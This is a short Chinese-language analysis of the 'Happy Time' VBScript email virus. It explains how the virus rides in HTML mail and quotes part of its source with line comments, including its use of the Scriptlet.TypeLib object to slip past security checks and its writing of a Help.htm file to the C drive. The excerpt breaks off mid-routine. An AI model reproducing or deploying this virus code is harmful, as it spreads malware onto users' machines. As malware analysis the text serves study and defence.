欢乐时光代码分析

“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTML）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库（TypeLibrary）成功地避开了安全审核的手段更是令人叹为观止。

下面让我们来看看它藏在快乐的外衣下的是什么吧！

***************欢乐时光***************

RemIamsorry!happytime

OnErrorResumeNext

Mload

’以上为病毒入口，并加上Iamsorry!happytime的注释，以表明此文件已被感染过。

Submload()

OnErrorResumeNext

mPath=Grf()

SetOs=CreateObject("Scriptlet.TypeLib")

SetOh=CreateObject("Shell.Application")

’建立枚举对象，避开了安全审核

IfIsHTMLThen

’调用IsHtml函数，如果是Html，就小写……

mURL=LCase(document.Location)

IfmPath=""Then

Os.Reset

Os.Path="C:Help.htm"

Os.Doc=Lhtml()

Os.Write()

’如果mPath为空，就在C盘下生成Help.htm

Ihtml=""

’超文本的内容，并指向C:Help.Htm

Calldocument.Body.insertAdjacentHTML("AfterBegin",Ihtml)

Else

IfIv(mPath,"Help.vbs")Then

setInterval"Rt()",10000

Else

m="hta"

IfLCase(m)=Right(mURL,Len(m))Then

id=setTimeout("mclose()",

1)

’设置超时条件

main

Else

Os.Reset()

Os.Path=mPath